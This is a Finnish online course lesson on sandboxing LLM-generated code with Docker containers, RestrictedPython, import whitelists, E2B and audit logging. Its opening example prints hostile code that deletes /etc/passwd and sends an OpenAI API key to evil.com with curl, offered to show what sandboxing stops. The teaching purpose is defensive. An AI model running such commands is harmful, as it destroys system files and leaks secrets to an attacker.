AI Engineering Academy · Oppitunti

Hiekkalaatikointi Dockerilla ja RestrictedPythonilla

Luo eristettyjä suoritusympäristöjä Docker-säilöillä, joissa on resurssirajoitukset, verkkoyhteyksien eristys ja vain luku -tiedostojärjestelmät, jotta LLM:n tuottamaa epäluotettavaa koodia voidaan suorittaa turvallisesti.

Oppitunti 2/413 vaihetta

Hiekkalaatikointi Dockerilla ja RestrictedPythonilla on ilmainen AI Engineering Academy-oppitunti CoddyKitissä. Tämä on oppitunti 2/4. Voit lukea koko oppitunnin alta ilmaiseksi ja harjoitella sen jälkeen käytännössä selaimessa sisäänrakennetulla koodieditorilla ja ympäri vuorokauden käytettävissä olevan tekoälytuutorin avulla. Oppitunti kuuluu AI Engineering Academy-oppimispolkuun, ja edistymisesi synkronoituu verkon ja CoddyKit-sovelluksen välillä. AI Engineering Academy-kurssilla on yhteensä 4 oppituntia.

Miksi koodin hiekkalaatikointi on välttämätöntä

LLM:n luoma koodi suoritetaan samoilla käyttöoikeuksilla kuin sitä kutsuva prosessi. Huolimaton tai haitallisesti injektoitu koodinpätkä voi poistaa tiedostoja, lukea API-avaimia sisältäviä ympäristömuuttujia, tehdä verkkopyyntöjä, kuluttaa RAM-muistin tai suorittimen loppuun tai asentaa takaovia. Hiekkalaatikointi luo eristetyn suoritusympäristön, joka rajoittaa luodun koodin toimintaa ja tekee koodinsuoritusagenteista riittävän turvallisia tuotantokäyttöön.

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

Docker hiekkalaatikkona

Docker-kontit ovat käytännöllisin hiekkalaatikkoratkaisu tuotannossa suoritettavalle LLM:n luomalle koodille. Jokainen koodinsuoritus saa uuden kontin, joka rakennetaan minimaalisesta imagesta ja jossa suorittimelle, muistille ja ajalle on tiukat resurssirajoitukset. Kontilla ei ole pääsyä isäntäkoneen tiedostojärjestelmään (lukuun ottamatta erikseen liitettyä työtilaa), ja verkkoyhteys on poistettu käytöstä tai rajoitettu sallittujen yhteyksien luetteloon. Suorituksen päätyttyä kontti tuhotaan.

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

Dockerin resurssirajoitukset

Docker tarjoaa hiekkalaatikoiduille konteille yksityiskohtaiset resurssien hallintatoiminnot. Tärkeimmät asetettavat rajoitukset ovat: mem_limit muistin rajoittamiseen (esimerkiksi 256m), cpu_quota suorittimen käyttöajan rajoittamiseen, pids_limit fork bomb -hyökkäysten estämiseen ja timeout jumiin jäävän koodin pysäyttämiseen. Ilman näitä rajoituksia huonosti kirjoitettu tai haitallinen koodinpätkä voi kaataa koko isäntäkoneen kuluttamalla kaikki käytettävissä olevat resurssit.

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

Koodinsuoritusimagen rakentaminen

Koodin suorittaminen minimaalisessa python:3.11-slim-imagessa tarkoittaa, ettei data-analyysikirjastoja ole käytettävissä. Rakentakaa mukautettu hiekkalaatikkoimage, johon asennetaan etukäteen paketit, joita koodiagenttinne yleensä tarvitsevat (pandas, numpy, matplotlib, scikit-learn), jotta niiden asentamiseen suorituksen aikana ei tarvita internet-yhteyttä. Esiasennus nopeuttaa suoritusta myös huomattavasti.

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

RestrictedPython prosessin sisäiseen hiekkalaatikointiin

RestrictedPython on Python-kirjasto, joka kääntää koodin AST-tasolla toteutettavilla tietoturvarajoituksilla. Se estää vaaralliset sisäänrakennetut toiminnot (exec, eval, __import__), rajoittaa attribuuttien käyttöä ja estää pääsyn dunder-metodeihin. RestrictedPython suoritetaan samassa prosessissa (ilman Dockerin aiheuttamaa lisäkustannusta), joten se on paljon nopeampi, mutta sen eristys on Dockeria heikompi ja se soveltuu paremmin yksinkertaiseen, vähäisen riskin koodiin.

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

Dockerin ja RestrictedPythonin vertailu

Näillä kahdella hiekkalaatikointitavalla on erilaiset kompromissit. Docker tarjoaa todellisen käyttöjärjestelmätason eristyksen: jokainen suoritus on erillinen prosessi, jolla ei ole jaettua tilaa, ja jopa ytimeen kohdistuva hyväksikäyttöyritys rajoittuu konttiin. Haittapuolena on 0,5–2 sekunnin käynnistysviive jokaista suoritusta kohden. RestrictedPython käynnistyy millisekunneissa eikä vaadi kontti-infrastruktuuria, mutta sen eristys on huomattavasti heikompi ja siihen tunnetaan kehittyneille hyökkääjille mahdollisia ohitustapoja.

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

Sallittujen toimintojen luettelointi

Sekä Docker että RestrictedPython tukevat sallittujen toimintojen luettelointia: sallitaan nimenomaisesti vain toiminnot, joita koodiagentti todella tarvitsee sen sijaan, että kaikki vaarallinen yritettäisiin estää. Voitte esimerkiksi sallia pandas- ja numpy-operaatiot mutta estää subprocess-, socket- ja os.system-toiminnot. Sallittujen toimintojen luettelointi on mustalle listalle perustuvaa estämistä turvallisempi lähestymistapa, koska kaikkia mahdollisia hyökkäysvektoreita ei tarvitse ennakoida.

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

Pysyvät työtilan taltiot

Koodia suorittavan agentin on usein kirjoitettava väliaikaisia tiedostoja (puhdistettu CSV, luotu kaavio), jotka seuraava koodin suoritusvaihe voi lukea. Käyttäkää Dockerissa työtila-asemaa: isäntäkoneen hakemistoa, joka liitetään säilöön luku- ja kirjoitusoikeuksin. Kaikki saman istunnon säilöjen suoritukset jakavat tämän aseman, joten agentti voi kerryttää tiedostoja sisältävää työtilaa suoritusvaiheiden aikana samalla, kun juurisäilön tiedostojärjestelmä säilyy vain luku -tilassa.

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

Hiekkalaatikointi pilviympäristöissä

Tuotantoympäristössä koodin hiekkalaatikot halutaan usein suorittaa pilvessä API-palvelimen sijaan. Esimerkiksi AWS Lambda (rajoitetulla VPC:llä), Google Cloud Run -säilöt tai erilliset hiekkalaatikkopalvelut, kuten E2B (e2b.dev), tarjoavat hallittuja eristettyjä suoritusympäristöjä. E2B on suunniteltu erityisesti tekoälypohjaisille koodiagenteille, ja se tarjoaa nopeasti käynnistyvän Python-hiekkalaatikon yksinkertaisella API:lla.

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

Valvonta ja auditointilokit

Kirjatkaa jokainen koodin suoritus lokiin tietoturvan auditointia varten myös hiekkalaatikoinnin yhteydessä. Tallentakaa suoritettavaksi lähetetty koodi kokonaisuudessaan, suoritusajankohta ja kesto, suorituksen käynnistänyt agentin istunto ja käyttäjä, stdout/stderr-tuloste sekä kaikki yritetyt tietoturvarikkomukset (estetyt tuonnit ja resurssirajojen ylitykset). Tämä auditointijälki on välttämätön odottamattoman toiminnan tutkimiseen ja vaatimustenmukaisuuden osoittamiseen.

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}

Koodia suorittavien agenttien kerroksittainen suojaus

Mikään yksittäinen hiekkalaatikkomekanismi ei ole täydellinen. Käyttäkää kerroksittaista suojausta: yhdistäkää Docker-eristys resurssirajoihin, käyttäkää säilön sisällä käyttäjää, jolla ei ole root-oikeuksia, poistakaa verkkoyhteys käytöstä, käyttäkää vain luku -tilassa olevaa juuritiedostojärjestelmää ja /tmp-hakemistolle tmpfs-tiedostojärjestelmää, suorittakaa säilö erillisessä vähäoikeuksisessa virtuaalikoneessa tai pilvifunktiossa ja valvokaa suoritusta poikkeavan resurssien käytön varalta. Useat toisistaan riippumattomat suojauskerrokset varmistavat, ettei yhden kerroksen ohittaminen vaaranna koko järjestelmää.

Pikatesti

Testatkaa tässä oppitunnissa oppimaanne koodin suorituksen hiekkalaatikoinnista.

Oppitunnin yhteenveto

Tässä oppitunnissa opitte, että Docker-hiekkalaatikointi on turvallisen LLM:n tuottaman koodin suorittamisen kultainen standardi, joka hyödyntää säilötason eristystä, resurssirajoja ja verkkorajoituksia; RestrictedPython on nopeampi mutta heikompi prosessin sisäinen vaihtoehto, joka sopii vähäisen riskin sisäisille agenteille; ja kerroksittainen suojaus yhdistää useita suojakerroksia, koska mikään yksittäinen mekanismi ei riitä. Seuraavaksi käsittelemme tilanhallintaa koodin suorituksen vaiheiden välillä.

Aloita maksutta

Opi Python tekoälytuutorin avulla — ilmaiseksi

Kirjoita ja suorita oikeaa koodia selaimessa, saa välitöntä apua tekoälytuutorilta ympäri vuorokauden ja jatka siitä, mihin jäit, verkossa tai sovelluksessa.

Kurssit
30
Oppitunnit
120

Usein kysytyt kysymykset

Onko oppitunti ”Hiekkalaatikointi Dockerilla ja RestrictedPythonilla” ilmainen?

Kyllä – oppitunnin ”Hiekkalaatikointi Dockerilla ja RestrictedPythonilla” koko tekstin voi lukea täällä verkossa ilmaiseksi. Jos haluat harjoitella interaktiivisesti sisäänrakennetulla koodieditorilla ja ympäri vuorokauden käytettävissä olevan tekoälytuutorin avulla sekä avata koko AI Engineering Academy-kurssin, päivitä CoddyKit PROhon. AI Engineering Academy-kurssilla on yhteensä 4 oppituntia.

Mitä opin oppitunnilla ”Hiekkalaatikointi Dockerilla ja RestrictedPythonilla”?

Luo eristettyjä suoritusympäristöjä Docker-säilöillä, joissa on resurssirajoitukset, verkkoyhteyksien eristys ja vain luku -tiedostojärjestelmät, jotta LLM:n tuottamaa epäluotettavaa koodia voidaan s… Harjoittelet AI Engineering Academy-aihetta koodilla, jonka suoritat suoraan selaimessa. Ympäri vuorokauden käytettävissä oleva tekoälytuutori vastaa kysymyksiisi oppitunnin aikana.

Tarvitsenko kokemusta aloittaakseni AI Engineering Academy-opiskelun?

Aiempi kokemus ei ole tarpeen. CoddyKitin AI Engineering Academy-oppimispolku sopii vasta-alkajista edistyneisiin, joten voit aloittaa tästä tai alusta ja edetä omaan tahtiisi. Tämä on oppitunti 2/4.

Kuinka kauan ”Hiekkalaatikointi Dockerilla ja RestrictedPythonilla”-oppitunnin suorittaminen kestää?

Useimmat CoddyKitin oppitunnit kestävät noin 5–10 minuuttia. Jokainen oppitunti on lyhyt ja interaktiivinen, joten edistyt tasaisesti ja voit jatkaa siitä, mihin jäit – sekä verkossa että sovelluksessa.

Voinko kirjoittaa ja suorittaa koodia tällä AI Engineering Academy-oppitunnilla?

Kyllä. Jokainen AI Engineering Academy-oppitunti sisältää sisäänrakennetun koodieditorin, joten voit kirjoittaa ja suorittaa oikeaa koodia suoraan selaimessa ja saada välitöntä palautetta tekoälyltä – paikallista asennusta ei tarvita.

Kaikki tämän kurssin oppitunnit

  1. Koodin suorituskehä
  2. Hiekkalaatikointi Dockerilla ja RestrictedPythonilla
  3. Tilan hallinta suoritusvaiheiden välillä
  4. Data-analyysiagentin rakentaminen
← Takaisin: AI Engineering Academy